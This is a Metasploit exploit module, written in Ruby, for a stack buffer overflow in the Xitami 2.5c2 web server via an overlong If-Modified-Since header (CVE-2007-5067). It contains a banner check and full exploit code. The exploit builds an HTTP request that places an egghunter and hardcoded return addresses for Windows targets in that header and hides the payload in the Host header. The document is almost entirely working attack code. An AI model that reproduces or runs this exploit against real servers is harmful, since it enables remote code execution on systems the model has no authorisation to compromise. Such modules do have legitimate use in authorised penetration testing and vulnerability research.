Xitami 2.5c2 Web Server If-Modified-Since Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the iMatix Corporation  
Xitami Web Server. If a malicious user sends an If-Modified-Since  
header containing an overly long string, it may be possible to  
execute a payload remotely. Due to size constraints, this module uses  
the Egghunter technique. You may wish to adjust WfsDelay appropriately.  
},  
'Author' => 'patrick',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-5067' ],  
[ 'OSVDB', '40594'],  
[ 'OSVDB', '40595'],  
[ 'BID', '25772' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/4450' ],  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 700,  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.  
[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe  
[ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe  
],  
'DisclosureDate' => 'Sep 24 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80),  
],self.class)  
end  
  
def check  
connect  
sock.put("GET / HTTP/1.1\r\n\r\n")  
banner = sock.get(-1,3)  
disconnect  
  
if (banner =~ /Xitami/)  
return Exploit::CheckCode::Appears  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
hunter = generate_egghunter  
egg = hunter[1]  
  
sploit = "GET / HTTP/1.1\r\n"  
sploit << "Host: " + egg + egg + payload.encoded + "\r\n"  
sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "  
sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']  
  
sock.put(sploit + "\r\n\r\n")  
  
print_status("Waiting for payload to execute...")  
  
handler  
disconnect  
end  
  
end  
`